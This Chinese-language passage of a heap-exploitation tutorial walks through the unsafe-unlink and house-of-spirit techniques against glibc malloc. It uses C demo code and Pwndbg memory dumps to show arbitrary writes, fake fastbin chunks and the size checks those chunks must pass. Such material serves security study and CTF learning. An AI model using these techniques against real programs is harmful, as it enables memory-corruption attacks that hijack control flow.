在这个例子中,最后chunk0_ptr 和chunk0_ptr[3] 指向的地方是一样的。相对我们如果对chunk0_ptr[3]修改,也是对chunk0_ptr进行了修改。
在程序中,程序先对chunk0_ptr[3]进行了修改,让它指向了victim_string
字符串的指针。
50 strcpy(victim_string,"Hello!~");
► 51 chunk0_ptr[3] = (uint64_t) victim_string;
(如果这个地址是 got 表地址,我们紧接着就可以 进行 劫持 got 的操作。)
Pwndbg> x/40gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000602058 0x00007fffffffe3d0
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
0x603130: 0x0000000000000000 0x0000000000000000
Pwndbg> p chunk0_ptr
$8 = (uint64_t *) 0x603010
然后我们对chunk0_ptr 进行操作,就能得到一个地址写。
Pwndbg> x/40gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x4141414142424242 0x0000000000000000
0x603020: 0x0000000000602058 0x00007fffffffe3d0
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
0x603130: 0x0000000000000000 0x0000000000000000
Pwndbg> x/gx chunk0_ptr
0x603010: 0x4141414142424242
Pwndbg>
总结下,如果我们找到一个全局指针,通过unlink的手段,我们就构造一个chunk指向这个指针所指向的位置,然后通过对chunk的操作来进行读写操作。
0x06 house_of_spirit
Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer.
通过构造 fake chunk,然后将其 free 掉,就可以在下一次 malloc 时返回 fake chunk 的地址。
house of spirit 通常用来配合栈溢出使用,通常场景是,栈溢出无法覆盖到的 EIP ,而恰好栈中有一个即将被 free 的堆指针。我们通过在栈上 fake 一个fastbin chunk 接着在 free 操作时,这个栈上的堆块被放到 fast bin 中,下一次 malloc 对应的大小时,由于 fast bin 的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个 fake chunk。所以 fake chunk 的伪造是关键。
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
伪造情况如下:
Pwndbg> p fake_chunks
$4 = {0xc2, 0x40, 0x7fffffffe3ae, 0x7ffff7ababe5, 0x1, 0x4008ed, 0x0, 0x0, 0x4008a0, 0x1234}
Pwndbg> p &fake_chunks
$5 = (unsigned long long (*)[10]) 0x7fffffffe370
其中 0x40 是chunk size,0x1234 是 nextsize。伪造 chunk 时需要绕过一些检查,首先是标志位,PREV_INUSE
位并不影响 free 的过程,但 IS_MMAPPED
位和 NON_MAIN_ARENA
位都要为零。其次,在 64 位系统中 fast chunk 的大小要在 32~128 字节之间。最后,是 next chunk 的大小,必须大于 2*SIZE_SZ
(即大于16),小于 av->system_mem
(即小于128kb),才能绕过对 next chunk 大小的检查。
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
#define NON_MAIN_ARENA 0x4
size域的最低位表示 此块的上一块(表示连续内存中的上一块)是否在使 用状态, 如果此位为 0 则表示上一块为被释放的块, 这个时候此块的 PREV_SIZE 域保存的是上一块的地 址以便在 free 此块时能够找到上一块的地址并进行 合并操作。第 2 位表示此块是否由 mmap 分配, 如果 此位为 0 则此块是由 top chunk 分裂得来, 否则是由 mmap 单独分配而来。第 3 位表示此块是否不属于 main_arena, 在之后会提到main_arena是主线程用于保存堆状态的结构, 如果此位为 0 则表示此块是在 主线程中分配的
然后我们修改指针 a 指向fake chunk
23 // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
24 fake_chunks[9] = 0x1234; // nextsize
25
26 fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
27 fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
► 28 a = &fake_chunks[2];
29
30 fprintf(stderr, "Freeing the overwritten pointer.\n");
31 free(a);
32
33 fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
修改后如下:
Pwndbg> p a
$11 = (unsigned long long *) 0x7fffffffe380--> $9 = (unsigned long long **) 0x7fffffffe368
成功指向了 fake chunk。当我free a的时候,系统会将 fake chunk 当做一块fastbins 处理,放到fastbins数组里。当我们再malloc的时候。我们就得到一块指向 stack 的 chunk。
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffe370 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
-
- 这时如果我们 malloc 一个对应大小的 fast chunk,程序将从 fastbins 中分配出这块被释放的 chunk。
Pwndbg> x/10gx &fake_chunks
0x7fffffffe370: 0x00000000000000c2 0x0000000000000040
0x7fffffffe380: 0x0000000000000000 0x00007ffff7ababe5
0x7fffffffe390: 0x0000000000000001 0x00000000004008ed
0x7fffffffe3a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3b0: 0x00000000004008a0 0x0000000000001234
所以 house-of-spirit 的主要目的是,当我们伪造的 fake chunk 内部存在不可控区域时,运用这一技术可以将这片区域变成可控的。上面为了方便观察,在 fake chunk 里填充一些字母,但在现实中这些位置很可能是不可控的,而 house-of-spirit 也正是以此为目的而出现的。
该技术的缺点也是需要对栈地址进行泄漏,否则无法正确覆盖需要释放的堆指针,且在构造数据时,需要满足对齐的要求等。